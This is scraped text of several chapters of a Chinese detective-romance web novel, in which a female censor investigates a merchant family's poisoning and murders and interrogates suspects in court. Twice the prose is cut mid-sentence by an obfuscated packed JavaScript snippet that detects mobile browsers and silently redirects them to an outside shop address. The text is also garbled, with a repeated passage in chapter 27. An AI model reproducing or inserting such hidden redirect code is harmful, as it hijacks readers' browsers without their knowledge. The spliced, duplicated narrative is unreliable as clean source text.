林雪意这才微微缓了缓神色,问:“她现在人在何处?” “属下已将她带回衙门,也已着人去请大夫了。” “带我去看看。”林雪意说着便出了屋子,边走便吩咐深月去找一套干净的衣服。 此时已过三更,夜路昏暗。 林雪意走得急,脚下一个踉跄差点踩空台阶,身边立刻伸来一只手稳稳扶住了她。她知道是晏返扶了她一把,同他道了声谢,晏返却并不作声。 她无暇他想,同深月一道进了安置秋声的屋子。 两人有些手忙脚乱地将秋声身上的湿衣服换下后,大夫也匆匆忙忙地赶到了,正巧就是白日里去秦府的周老大夫。 那眉毛花白的周老大夫诊了一阵脉,摇了摇头,道:“此女获救及时,暂无性命之忧,只是她腹中胎儿已有两月,怕是保不住了。” 林雪意心中一惊,面色渐渐凝重起来。 秋声已有身孕的事,从未有人向她提起。不如说,这件事几乎没有人知道。 她从秦府回来后查过秋声的名籍,秋声是未嫁之身,又一直在秦府做事,那这胎儿是从何而来? 周老大夫又同她们交代了一阵,说等秋声转醒至多一日至少也要半日。等送走了大夫,林雪意几人便各自回屋休息了。 林雪意躺在床上辗转了半夜,天一亮就起身梳洗。 “姑娘夜里睡得迟,瞧着面色也不好,怎么不多睡一会儿呢?”深月替她取来了衣裳,很是不解。 “睡不着了。我想出去随便走走。”林雪意换上了一身曒玉色男装,道,“你昨日也忙了许久,再去休息一阵吧。” “不,不。”深月听说林雪意要上街,顿时来了精神,“我同公子一起去!” 泤水县的县衙离河道不远,两人走了一阵就到了泤水河畔。 清晨的泤水河悠远宁静,与夜间的热闹喧嚣截然不同。 河面上白蒙蒙的,像是笼着一层雾,几枝掉光叶子的柳枝垂在水面上,偶尔随风拨撩出几丝水纹。几艘小船从横亘河面的木桥下经过,悠悠浆声在河面上回荡…… 河边早已支起了许多卖早点的小摊,氤氲升腾的烟气中,一阵阵诱人香味直往人鼻子里钻。豆浆油条、桂花米粥、各色糕点……深月一边看一边咽口水,最后拉着林雪意在一个生意看着最好的面摊上停下了。 “二位公子要吃点什么?”经营面摊的老板娘是个红光满面的中年妇人,一面娴熟地往锅里下面,一面笑盈盈地问。 “你这儿什么面最好吃啊?”深月边问边好奇地打量旁边客人们面前的面碗。 “二位可以尝尝我这里卖得最好的清汤面。”老板娘招呼林雪意和深月坐下,顺便将一桌客人点的汤面端了过去。 林雪意跟深月坐着等面,旁边桌上的说话声便传了过来。 “……秦老爷子也是可怜之人,膝下无子,如今又死了闺女,白发人送黑发人。我刚才路过药铺,听里面的伙计说秦老爷还昏着呢。”有人说。 另一人道:“我最近经常看那周老大夫往他府上跑,哪怕是他闺女没出事,我看他那身子也是悬。” “可秦家还有偌大家业不是?他既无子,再生一个是来不及了,怎的也不见他过继一个?”另一桌的人也听到了二人对话,插嘴进来。 “找谁过继啊?”一人嗤笑道,“肥水不流外人田。秦府二房也只有一个公子,还是那般扶不起的。更何况,我听说……” 那人说着压低了声音,林雪意正想细听,她和深月的面就端过来了。 “公子,这面还真是不错!”深月吃了一口,称赞道。 林雪意看着碗中的面,面汤清澈,青菜油嫩,荷包蛋色泽金黄,上面还恰到好处地洒了一点翠绿的葱花,看起来便很有食欲。她这才觉得肚子有些饿了,下筷吃了一口,心中慢慢有了主意。 二人吃完面,林雪意给了面钱,临走时向老板娘打听了流云轩的位置,然后便带着深月慢慢沿着河道踱步过去。 流云轩据说是此地一间十分有名的茶楼,茶叶品质极好,楼中布置也很风雅。 刚才她在面摊上听到那些话后,便知秦府还有些隐情。昨日她去秦府时,秦府众人并未透露,她自然就想起了昨晚在南风馆碰见的秦二老爷的公子,秦云。 秦云约她巳时在流云轩见面,林雪意跟深月到达茶楼的时候巳时未至,但是楼中小二一见她就迎了上来,热切问道:“敢问您可是薛公子?” 林雪意有些疑惑,问:“你如何认得我?” 店小二乐呵呵道:“秦公子已在楼上等候多时了。秦公子吩咐小的,若是见到一个长得极为俊俏的公子的,那必然就是薛公子。” 林雪意一时有些无奈,跟深月对视一眼,两人跟着店小二上了楼。 “薛公子!”雅间里的秦云一听到外头响起脚步声,立刻直扑出来,差点扑在带路的店小二身上。 “哎,你,对我家公子放尊重点。”深月挡在林雪意身前,瞪大眼睛警告他。 “嘿嘿,那是自然,自然。”秦云连忙请林雪意进屋,眼睛简直没法从她身上移开,“我这是见薛公子来赴约,过于高兴了,一时失态。见谅,见谅。” 林雪意入座后,对方眯着眼对她又是好一阵打量,十分殷勤地奉上刚泡的茶,道:“薛公子初来乍到,想是还没喝过此地的甘露茶。我乃秦府公子秦云,昨日对薛公子多有得罪,今日就算是向薛公子赔罪了。” 深月先一步伸出了手,替林雪意接了过来。 林雪意托着茶杯嗅了嗅,只觉茶香浓郁,再看茶汤颜色红艳莹润,泛着琥珀光泽。她轻轻啜了一口,味道醇厚,微苦过后便有回甘,不由叹道:“真是好茶。” “薛公子可真是懂茶之人!”秦云看着林雪意双眼发亮,说,“这甘露茶的茶树最早还是我大伯在云雾山上发现的,后来进献到御前,当今陛下也非常喜欢,因而御封为贡茶。” 林雪意奇道:“秦老爷发现茶树之事我也有所耳闻,但我听说这茶树生在云雾山高处,方才我闻这茶香不像是陈茶,但是眼下正值寒冬,高处更寒,何来新茶?” “这你就有所不知了。”秦云洋洋得意地卖弄起来,“这甘露茶一年四季都可采摘,滋味不同。春茶味鲜,夏茶味烈,秋茶味平,冬茶味醇。你我现在所喝的甘露茶,乃是两月前采摘的冬茶。只是可惜,这些茶叶乃是从半山腰的茶园中采得,位置还不是最佳。” “可是因为,山腰以上的茶树要专供御前?” 秦云一听,脸上写满了佩服,道:“薛公子可真是绝顶聪明!为了防止有人盗采 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“这么说来,令尊是希望家中开枝散叶,以后也好接手打点家业?” 秦云闻言摇了摇头,道:“就他从我爷爷那儿得来的几间小铺子?还不如我阿姐手里的铺面大呢。赚不了多少,饿不死罢了。” 听秦云提到了秦苒悦,林雪意叹气道:“秦姑娘也是可惜。” “你不知道,我阿姐平日里可凶呢,我见了都害怕。”秦云抱怨说,“不过她管起铺子来确实厉害,我听说,我大伯本来还打算让她继承家业呢。” “竟有此事?”林雪意面上表现出一些惊讶来。 这倒是跟马知县所说的,秦老爷将城中一些铺子交给秦苒悦打理一事对上了。 秦云以为她不信,认真道:“我可没骗你。我大伯自入秋之后身体就不大好,我看他也是怕自己突然咽了气,私下里跟我爷爷提过呢。” “那不知秦老太爷是何想法?” “嘿,这我就不知道了。我也是偷听到我爹跟我娘说话才知道的。”秦云又给林雪意倒了一杯茶,看她的眼神都快痴了。 “有一件事令在下十分好奇。不知秦公子是否跟秦姑娘提起过南风馆?”林雪意垂下目光思忖片刻,抬起眼来就看见秦云又直勾勾地盯着她。 “可不就是上次我爹追着我打,被我阿姐看见了,她不知道南风馆有何玄机就问了我,我对她哪敢隐瞒啊。莫非薛公子对我在南风馆的事很感兴趣?我倒是可以好好同你说一说。”秦云已然按捺不住,边说边往林雪意身边的座位摸过去,却被深月一把推开。 深月怒道:“喂,离我家公子远一点!” 秦云并不理会深月,一把就将她撂开,向林雪意倾身过来,笑容有些促狭:“薛公子,实不相瞒,自从昨日在南风馆见到你,我便倾心于你。既然薛公子也喜男子,不如我们……” 林雪意连忙起身躲开他,摇头道:“秦公子误会了,我并非男子,作这般打扮只是为了去南风馆方便。” “什么?你是女子?”秦云上下打量着她,眼珠子都快掉出来了。 林雪意正要带深月离开,却被秦云挡住了门,她不解其意,就见他脸上浮起有些不怀好意的笑,往她逼近一步,道:“若你真是小娘子,我也喜欢。” 眼看秦云就要扑过来,林雪意直往后退,突然听得他惨叫起来。 25. 生气 “痛痛痛……”秦云哭丧着脸扭头往身后看,这一看更加更不得了,他立即发出杀猪一般的哀嚎,“我的屁股!” 林雪意趁着他嚎叫的空隙,拉起深月就跑,但是她刚溜出屋子就停下了脚步,只觉得面前的景象颇为怪异—— 晏返正面色不善地斜靠在这雅间对面的雪墙上,墨云眼中泛着一丝意外,而她们跟他二人之间,还隔着一个满脸惊愕的店小二,大事不妙一般看着在屋里鬼叫的秦云。 那小二手中还端着一个茶盘,其上茶叶茶具一应俱全,似乎是正要送茶去别的房间。 林雪意瞥了一眼茶盘,隐隐感到有些不对劲却又说不出,直到她身后的深月一阵闷笑,她转头去看,才发现秦云的臀部刺进了一根茶针,她这才反应过来,小二的茶盘上少了茶针。 她微皱起眉头看向对面的晏返,却见他抬扇一指身旁的墨云冷冷道:“他干的。” 墨云闻声一顿,抬手擦了擦额角不存在的汗,往小二的茶盘上放了一锭银子,道:“秦公子的茶我家主人请了,剩下的就当是赔偿贵店的损失。” 店小二头也不敢扭过去看,忙不迭地应下了,心下还有些犯迷糊——好好搁在茶盘上的茶针怎么瞬息之间就插在秦公子的屁股上了?这也就罢了,他方才甚至还感受到了,话本里所说的那种杀气。 晏返抬步就走,走没两步又折返,一言不发地抓住林雪意的手腕,拉着她走出了流云轩。 “晏世子?”林雪意叫他,他却不应。 “晏三岁?”林雪意又叫,他仍是不应。 “晏返。”林雪意微微冷下声来,晏返这才在流云轩外头停住,松开了手,抬眼安静看着她。 林雪意打量晏返片刻,觉得他此时不苟言笑的样子,跟平时嬉皮笑脸的样子简直判若两人。 他的五官本就生得精致深邃,不笑时自有一股冷峭之意,往日里因为眉宇间总带着一丝揶揄笑意,才衬得他轮廓柔和,宛如和煦春色。 见林雪意眼中浮现出好奇的神色,晏返被看得有些莫名其妙起来,冷着语气问:“你这么看本世子做什么?” 林雪意一脸无辜道:“难得见到晏世子生气的样子,当然要多看一会儿了。” “林雪意,你……”晏返一时无言,眉头皱得又深几分。 跟在他们身后出来的墨云看见这一幕,觉得真是稀奇极了——他从来不知道舌灿莲花的世子也会有在人前语塞的一天。 林雪意不再打趣,看着晏返认真道:“谢谢你们替我解围。但我不明白你为何生气,若是我有什么做得不妥,你大可直说。” 晏返简直要被林雪意的坦白气笑了,灼灼目光直望进她眼里,道:“林雪意,你应当知道秦云那厮非善类,可你去见他却连一个有身手的人都不带,到底是谁给你的胆子?” “你就是在为这个生气?”林雪意有些纳闷,道,“此事确实是我掉以轻心,但我并非有意,我也是中途想起来才去找他问话的,而且……” “方才要是我不曾赶到,你当如何?”晏返打断她的话,眼底仿佛有霜雪,可是冷幽幽的目光又像燃烧着火焰般灼人,“纵然你不是贪生怕死之徒,你也不该三番四次将自己陷于险境!” 晏返不等林雪意再说什么,沉着脸转身就走。 “真气人,姑娘这么做还不是为了查案?”深月气鼓鼓地看着晏返远远离开的背影,替林雪意打抱不平道。 “世子也是担心少夫人。”留在原地的墨云说。 “你自然为你主子说话。”深月闻言剜了他一眼,道:“我家姑娘碰上那无赖本来就是件倒霉事,你们可不要以为帮了忙就能落井下石!” “算了,深月,我没有放在心上。”林雪意说着看了一眼墨云,问,“你怎么不跟上他?” “属下不敢。世子叮嘱过属下,让属下保护少夫人。” 林雪意想了想,问:“你们怎么会找到这儿来?” 墨云被这么一问,像是突然想起了什么事,连忙道:“是秋声有转醒的迹象,世子跟属下发现少夫人不在衙门里,才出来找少夫人的。” 秋声醒得比自己预估的要早,林雪意交代墨云几句后,便立刻带着深月先一步回了衙门。 林雪意刚进衙门,就见马知县正从后院过来,见到她连忙迎了上来,皱眉道:“御史大人,下官刚去看过那刁妇,请来料理的婆子说她自打醒来后就不肯说话。依下官之见,若是不严加审讯,恐怕问不出什么。” 林雪意却不着急,宽慰了马知县两句让他先去处理公务,自己则带着深月回屋换了一套月白的女子装束,这才去安置了秋声的屋子。 林雪意推门进屋,看见秋声面无血色,正靠在床头发呆。她似乎以为进来的还是方知县,便头也不抬。 林雪意没有作声,秋声这才略有疑惑地抬头看过来。 这一看,便是一怔。 她打量了林雪意好一会儿,才有些不确定地叫道:“大人?” 林雪意点点头,问:“你觉得如何了?” 秋声眼神闪了闪,自嘲般地抿了抿唇,又垂下目光不再说话。 “秋声,我知你刚小产,现在同你说这些有点不合时宜。”林雪意顿了顿,接着道,“但事关你的生死,我不得不说。故意杀人是死罪,我知道你谋害秋意是受人指使,如果你能指认真凶,官府可以从轻发落。” 秋声却只是轻笑一声,眼神空洞,道:“我杀了秋意,是该偿命。我这条贱命,大人拿去便是。” 林雪意望了她片刻,幽幽叹了一口气,道:“我听说你家中还有双亲跟弟妹,但是你以为自己豁出这条命,他们就会受到善待吗?不会的,秋声,他从一开始就没想过要对你负责。” 秋声的眼神微不可察地一缩,但她旋即瞥开目光,像是没听到一般。 “怎么,不信?”林雪意没有遗漏她的神情,道,“我可是听说,秦二老爷正打算重新娶一房姨娘,你还看不出来吗,他宁愿重新纳小妾也不肯给你一个名分。” 秋声的脸色顿时如死灰一般,苍白的嘴唇动了动,颤声道:“我不知道大人在说什么,此事跟二老爷没有关系。” “秋声,你不必替他遮掩。”林雪意看了秋声一眼,淡然道,“秦大老爷膝下只有秦姑娘一个女儿,秦姑娘之死,最大的受益人便是秦二老爷。所以从一开始,我就认为秦二老爷有莫大的嫌疑,他指使你杀害秋意,不过是欲盖弥彰罢了。 “你不肯交代,我也总有法子叫他认罪,到时候,你无法减轻罪责不说,还要背上一个谋害家主的罪名。等到你二人伏了法,自然是不会再有人关照你的家人。非但如此,你的家人还会落人口实,在人前一辈子都抬不起头来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016553|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林雪意说完转头看秋声,就见她正满脸警惕地看着自己,木木然的眼瞳里涌上了恐惧,身子不住地颤抖。 她不由柔了柔目光,在床边寻了块地方坐下,缓下语声道:“我非是有意恐吓你,只是必须要将其中利害讲与你听。你觉得愧对秋意才去投的井,可见你良心未泯,所以我猜你是有苦衷的。 “母子连心,你刚失去了孩子,秋意母亲的丧女之痛,我想你能够理解。你夭折腹中的胎儿可怜,秋意也实在无辜,他们难道就不值得一个公道吗?” 秋声依然沉默,但是却从眼角滑下泪来。 眼泪一颗接一颗淌下灰白的脸庞,直到将衣襟打湿了,她才想起去擦眼泪。她伸手抹了几下却止不住,终于嚎啕大哭起来…… 半个时辰之后,马知县派去秦府的人将秦二老爷秦岳带到了衙门。 林雪意请马知县主审此案,自己则依旧做男子打扮,坐在堂上旁听。 衙役的“威武”喊声和杀威棒击打地砖的声音渐次响起,秦岳被带上公堂,却并不下跪。他目光倨傲地环视一周,最后直望着马知县,面有不屑。 马知县一拍惊堂木,喝到:“大胆刁民,见了本官,还不下跪!” 秦岳瞥了他一眼,道:“草民一介安善良民,问心无愧,自然不跪。” “好啊,好一个问心无愧!”马知县怒道,“来人,带证人秋声上堂!” 秋声流产过后,身体未愈,是由深月扶着上公堂的。她看见秦岳后脸色更差,往一旁挪了两步才跪下,道:“民女秋声,见过大人。” 马知县抚须问道:“秋声,你说你推秋意下井,是受了秦岳的指使,可是确有其事?” “回大人,确有此事。”秋声说到此处顿了顿,下定决心般深吸了一口气,道,“两个多月前,秦岳借口让民女去他屋中帮忙,趁机玷污了民女。民女失了清白,又不想丢失活计,所以一直不敢声张。” 在堂外看热闹的众人听到此处,不由哗然。 秋声下意识地往林雪意的方向看去一眼,见林雪意冲她点点头,又吸了一口气,接着说:“昨日二位大人去秦府问话后,秦岳示意民女找机会除掉秋意。民女只得将秋意叫到井边,趁她不备时将她推下了井。” “大人,她这是血口喷人!”秦岳啐了秋声一口,扬声道,“秋意一个小小丫鬟,我怎会跟她有仇怨?依我看,分明是这刁奴与人苟合被秋意发现,这才杀人灭口。如今事情败露,便想攀扯我脱罪。” “你……你胡说!”秋声面色通红,气得咬牙,“我有孕的事你早已知情,是你一直哄骗我,说等过些日子就给我名分,让我安分些,我才一再受你要挟!” 秋声说完朝马知县深深一拜,道:“大人,民女所言句句属实,若有虚言,天打雷劈!” 眼见县衙门口的百姓议论纷纷,马知县又拍了惊堂木,喝了一句“肃静”,道:“秦岳,秋声所说,你可承认?” 秦岳冷笑道:“这全都是她的一派胡言。两月前她还在我那侄女的院子里做事,寻常时候根本见不到我。何况这贱婢相貌平平,我如何能看得上她?” “既然如此,”眼见堂审陷入胶着,一道清澈的声线在堂上响起,众人朝声音传来的方向看去,就见在堂上旁听的小郎君目光笃定,气定神闲,“那就请秋声说一说,秦二老爷是因何事找上她的吧。” 26. 审问 马知县一听,像是得救了一般,忙不迭地起身朝林雪意走过来,客气笑道:“御史大夫,还是请您来审吧。” 林雪意没有推辞,起身行到公堂书案后敛容坐下。 她并不急于询问秋声,而是一拍惊堂木,正色看着秦二老爷,道:“秦卓,公堂乃明镜高悬,伸张正义之地。按大晋律法,除有功名在身者,凡是百姓受审,无论冤屈与否,皆需下跪。你在这堂上站了这许久,可是在藐视公堂?” 这一番话声音清脆,如珠落玉盘,却是不怒自威,生生让秦二老爷听出了一身冷汗。他心知这是御史在给他下马威,虽然不忿,却还是如芒在背,双腿竟是有些发软。 “来人,让他跪下!” 堂上的衙役听了,立刻一左一右按住秦二老爷,饶是他面有不甘,也将他按着跪在了地上。 杀完秦二老爷的锐气,林雪意这才望着秋声道:“秋声,两个多月前,秦卓是如何找上你的,你可详细道来。” 秋声点了点头,含着泪道:“那时正是入秋,那日午后姑娘想吃莲子羹,不巧当天小厨房的厨娘有事告假,我便到伙房找萧厨子做一碗。我进伙房的时候,二老爷就在里面。他当时正跟萧厨子说话,见我过去就走了。 “可是在我回院子的路上,二老爷又跟了上来,让我去他的书房帮忙。我没有多想就跟着去了,谁知二老爷就将我关在书房里强迫了我。他还威胁我,不许我将那日的事情说出去……” 秋声说完掩面而泣,堂外众人一片唏嘘。 秦二老爷听到这里,也不由微微变了脸色。 林雪意看着秦二老爷,冷声问:“秦卓,你身为秦家二老爷,那日为何要屈尊降贵去伙房?” 秦二老爷眼珠一转,骂道:“我根本不曾去过伙房,都是这贱人污蔑我罢了。“ “是不是污蔑,我们很快便可以见分晓。”林雪意说着吩咐衙役,“传萧厨子上堂。” 过了半盏茶的功夫,萧厨子就被带上了公堂。他扫了一眼跪着的秦二老爷,目光闪烁地跪下了。 “草民萧大洪,参见大人。” “萧大洪,你可记得,在今年入秋前后,你替秦苒悦做过一碗莲子羹?”林雪意问。 萧厨子不知堂上的大人为何要问起此事,虽有迟疑,却还是坦白道:“草民记得。” 林雪意接着问:“那在秋声找你做莲子羹的时候,秦二老爷是否在场?” 萧厨子下意识地扭头看了看一旁冷着脸的秦二老爷,摇了摇头,道:“草民从没见过二老爷去伙房。” 秋声听了这话脸色惨白,马知县也十分疑惑,林雪意却没有质疑萧厨子,只是道:“我听闻秦大老爷近来身体不适,你可知情?” 秦大老爷身体抱恙早已不是什么秘密,因此萧厨子如实回答:“草民知道,草民除了负责主人家的一日三餐,也经常替大老爷煎药。” “那正好,”林雪意目光平静地看着萧厨子,问,“你可还记得,你是从什么时候开始给秦大老爷煎药的?” 这句话听起来稀松平常,萧厨子却猛然顿住不说话了。 林雪意不再理会他,转而让衙役去传秦府的余管家。 余管家很快就上了公堂,当被问及秦大老爷的身体状况时,他略微一想,就道:“老爷的身体一直都很硬朗,极少生病。今年入秋时,老爷不慎感染风寒,便是在那之后,身子总不见好,胸闷气急,昏厥之事时有发生。” 余管家刚说完,墨云就出现在堂下,拱手道:“大人,周大夫已经带到。” “请周大夫上堂。”林雪意说着看了墨云一眼,就见他微不可察地点了下头。 林雪意在回衙门前就已叮嘱墨云,让他去医馆找周老大夫询问秦大老爷的病情,因此周老大夫一上公堂便交代了秦大老爷的情况。 “……初时只是寻常风寒,几日后老夫去府上复诊时,秦大老爷已明显好转。可距那数日之后,秦府又请老夫去看,秦大老爷反而心慌气短,手脚肿胀,竟像是心悸之症。” 林雪意对周老大夫道了句“有劳”,转而一拍惊堂木,看向萧厨子道:“秦大老爷自入秋之后便每况愈下,而他的一日三餐都经过你手,本官怀疑,是你在秦大老爷的食物中下毒,才致使他病入膏肓。你还不从实招来!” “大人,草民冤枉啊!”萧厨子神色慌张地叫起来,“草民绝对没有给大老爷下毒!府中人多,草民每次准备饭食,伙房都有人在打下手,他们全都可以为草民作证!” “哦?”林雪意想了一想,道:“可是伙房由你主管,你找个方便的时候下手,并无难度。” 萧厨子被这话噎了一下,又像是想起了什么似的,连忙往前跪了两步,道:“大人,大老爷经常会等大小姐一起用饭,若草民真的下毒,那大小姐也应该中毒才是啊。可是此前大小姐一直身体康健,府中众人皆知啊。” 林雪意眉头一松,点了点头,道:“你这么说倒也有些道理。那你便再好好想一想,入秋前后可曾发生过什么异常。” “我……我……”萧厨子又看了秦二老爷一眼,像是口干一般咽了咽口水,道,“我想起来了。入秋的时候,大老爷感染风寒,大小姐特意从瑞芝堂买了些白芝交给我,让我每日炖给大老爷喝。” 林雪意看看萧厨子又看看秦二老爷,眼底划过一抹幽光,问:“那白芝可还有剩余?” “有,有。”萧厨子连声应着,交代了自己放置白芝的位置。 林雪意吩咐衙役去秦府取白芝,又让他们顺道将瑞芝堂的钱掌柜请来。 待白芝取来后,林雪意便请周老大夫跟钱掌柜过目,二人皆是神色一变。 “大人,”钱掌柜先开口说,“钱某经营瑞芝堂已有十多年,铺面所售灵芝都是上乘,有口皆碑。且店里各种灵芝都经钱某检查后才装柜售卖,这些白芝虽然品质尚可,但钱某可以确定,它不是店里卖给秦家姑娘的那一批。” 林雪意观察萧厨子反应,就见他脸色一青。 周老大夫接着道:“大人,寻常白芝味辛,可治咳逆上气,但这些白芝嗅之味苦,倒像是掺了别的东西。” 萧厨子一听,脸色更差,搁在膝盖上的手不由微微抖动起来。 “那么周大夫可否看得出,这里面掺了什么?” 周老大夫闻言拿起一片白芝放到鼻子底下仔细闻了闻,又掰下一点放进嘴里,面色越发凝重起来,道:“大人,这些白芝恐怕是涂了……洋地黄。” “洋地黄?”林雪意嘴上像是询问,心中已经明白了十之八九。 “是。”周老大夫皱着眉头接着解释说,“此物在青州并不常见,多是南方出产。它本有强心之效,但若服用过量,轻者呕吐乏力,重者便会表现出心悸之症!” 此时堂外聚集的百姓已越来越多,周老大夫这一番话说完,外头的惊诧之声不绝于耳。 林雪意拍了拍惊堂木,扬声对萧厨子道:“萧大洪,本案案情已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037452|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明了。秦苒悦虽然从瑞芝堂购入白芝嘱托你,但你将那些白芝换做了这批有毒白芝。秦大老爷以为自己服的是秦苒悦买的灵芝,不曾起疑,更不会有其他人去吃秦大老爷的补品,如此一来,中毒的便就只有秦大老爷。现在人证物证俱在,你还要如何狡辩?” 萧厨子摊在了地上,面色灰白地看向在旁一言不发的秦二老爷。眼见坐在堂上的御史要去抽令签,他连忙跪起来,大声喊道:“大人,草民冤枉!草民不知道这灵芝有毒啊!这些灵芝分明是……” 萧厨子话还没说完,旁边一道身影就猛然窜起,往他脸上抡过来一拳。众人俱是一惊,定睛看去,打人的竟是那秦二老爷。只见他往萧厨子的身上猛扑过去,一边打一边骂道:“你这畜生,竟然害我大哥!” 林雪意立即让衙役上前将秦二老爷拖开,冷眼看着他,道:“秦卓,你竟敢公然行凶,你眼中可还有王法?” “我只是看不过他谋害我大哥!”秦卓正被衙役按住,挣扎着嘴硬道。 林雪意冷笑一声,看向萧厨子:“萧大洪,事实究竟如何,你现在可是肯老实交代了?” “我说,我说。”萧厨子哆哆嗦嗦地跪好,不再去看秦二老爷,“一开始就如草民前面所言,入秋之后,大老爷感染风寒,大小姐便买了白芝交给草民。可过了两日,二老爷就带了另一批白芝找上了草民,让草民将大小姐买的白芝换给他。” 秦二老爷听到这里,脸色一僵。他想要发作,却被衙役牢牢按住,动弹不得,只得听着萧厨子往下说。 “草民感到奇怪,二老爷说是见大小姐的灵芝品质极好,他想拿来另送他人,打点生意。草民觉得不妥,可二老爷又说灵芝效用大抵相同,炖煮之后也看不出来,又给了草民一些钱,还说等他在谈的生意有成之后,会再给草民一笔钱当做报酬。是草民利欲熏心换掉了灵芝,但草民确实不知给大老爷吃的灵芝有毒啊!” 见萧大洪说的跟自己所料不差,林雪意便接着问他:“所以秦卓找你换灵芝的时候,正巧被秋声看到,你心中有鬼,方才便说谎替秦卓遮掩,本官说得可对?” 萧厨子连连叩头,道:“大人英明,草民真的不是有意谋害大老爷,求大人开恩啊!” 林雪意冷眼看向脸色铁青的秦二老爷,道:“我看,这才是你玷污秋声的原因。你不知她听到了多少,担心走漏风声,于是就毁她清白,让她自惭形秽,好为你守口如瓶。你可真是歹毒!” 一旁的秋声低低啜泣起来。 公堂之上,人人觉得心寒,堂外更是一片哗然,人头攒动。 秦二老爷恨恨地瞪了林雪意一眼,道:“大人,这些小人合起伙来诬陷我,你只听他们的一面之词,便要将我问罪吗?” 林雪意却连眉头都没有皱一下,微勾了唇角,道:“你以为本官没有证据吗?” 她话音刚落,墨云就从堂下呈了一个小布包上来。布包打开,便露出了里头一堆色泽莹白的灵芝来。 “这是本官命人在你的住处找到的。”林雪意看了脸色大变的秦二老爷一眼,又看着钱掌柜道,“钱掌柜,这些白芝是否从你店中售出?” 钱掌柜只看一眼,便点头道:“这白芝品质上佳,确实是钱某店中所出。” 秦二老爷这下不说话了,看向林雪意的眼神更加怨毒。 “秦卓,你不肯坦白,本官便替你说。”林雪意又道,“不仅秦大老爷中毒是你所为,就连秦苒悦被害,都是你的手笔!” 27. 狡辩 她话音刚落,墨云就从堂下呈了一个小布包上来。布包打开,便露出了里头一堆色泽莹白的灵芝来。 秦二老爷见状顿时脸色大变。 “这是本官命人在你的住处找到的。”林雪意看了秦二老爷一眼,又看向钱掌柜,问,“钱掌柜,这些白芝是否从你店中售出?” 钱掌柜只看一眼,便点头道:“这白芝品质上佳,确实是钱某店中所出。” 秦二老爷这下不说话了,看向林雪意的眼神更加怨毒。 林雪意却并不怵他,正色道:“秦卓,你为谋取家产,先是利用萧厨子给秦大老爷下毒,后是联络冯玉诱拐秦苒悦私奔,致使秦苒悦被冯玉所害。为了掩盖罪行,你□□秋声,又逼迫秋声杀害看见过冯玉的秋意。如今人证物证俱在,你还有什么可说的?” 堂上的御史年纪轻轻,但是却气势迫人,公堂上一时安静得针落可闻。 秦二老爷沉默了一阵,面色竟是缓和了些,平静地仰起头说:“大人,我确实贪图家产,下毒谋害我大哥,如今事情败露,我无话可说。但是我并不认识什么冯玉,秋意也是被秋声所杀,至于秦苒悦的死,就更加跟我没有关系。更何况我对秋声,只是普通收用罢了。大人破不了案子就将脏水泼到我头上,不妥吧?” “大胆!”一旁的马知县见了秦二老爷这嚣张气焰,气得站起来指着他道,“你怎敢对御史大人出言不逊!秋声分明已经作证,杀害秋意是受你指使。你要致秋意于死地,不就是怕被人知道,冯玉去秦府要找的人是你?” “你们说我指使秋声杀秋意,有人看到了吗?”秦二老爷反问道,见马知县一愣,他眼底得意之色更甚,“你们说我跟冯玉有联系,指使他拐骗秦苒悦,证据何在?” 堂外众人听了这话再次议论起来。 繁杂语声中,林雪意朝墨云看去一眼,就见他微微摇头。 方才她让衙役去秦府伙房找萧厨子放置的白芝时,就同时让墨云去搜秦二老爷的住处了。墨云此刻的反应显然是在暗示她,他没有找到与冯玉有关的东西。 “大人,”马知县忍不住道,“下官以为,此等刁民,就该用刑,否则根本不老实!” “呵,”秦二老爷不但毫无惧色,还出言嘲讽,“二位大人的明镜高悬原来就是屈打成招吗?” 马知县差点就势发作,林雪却冲他摇了摇头。 她已经看出来,秦二老爷是有意挑衅。若真是对他用刑,他势必要再唱一出苦肉计。 此人的狡诈程度非比寻常,他们眼下确实还没找到充足的罪证,严刑逼供只会适得其反。 一念至此,林雪意道:“秦卓谋害家主一事,证据确凿,死罪难逃。秋声、萧大洪二人亦对所犯罪行供认不讳。且将三人收监,至于秦苒悦被害一案,择日再审。退堂!” 随着惊堂木拍案的声音响起,堂上的嫌犯被押下去,证人告退,堂外听审的民众交头接耳了一阵,也三三两两地散去。 “公子,那秦卓真是可恶!”深月攥紧了拳头,对着空气比划了两下。 马知县也忿忿道:“大人,您对此等无赖,真是过于仁慈了。” “无妨。”林雪意安抚眼前两人道,“我本就知道证据不足,无法完全将他定罪。之所以要立刻审他,一是为了探其口风,二是为了将他收在牢中,免得又有人遭他毒手。” 马知县跟深月这才气顺了些,皆是摩拳擦掌说要将秦二老爷绳之以法。 一直在堂下待命的墨云问道:“大人,可是需要属下再去秦卓屋中查找线索?” “不必。”林雪意说得肯定。 墨云连秦二老爷小心藏着的白芝都能找出来,可见能力不差,不会有什么遗漏。但他方才没有找到其他证物,说明秦二老爷定然是把东西藏到了一个秘密的地方。 她思忖片刻,对马知县道:“马大人,请你交代狱卒对秦卓严加看守,如果有人来探监,你便派人跟上。” 马知县连声应下,立即动身去布置了。 林雪意又对墨云道:“墨云,你应该还记得秦永的的样子,尽快找到他,将他带过来。” 墨云领命离开。 偌大的公堂,便只剩下林雪意跟深月两人。 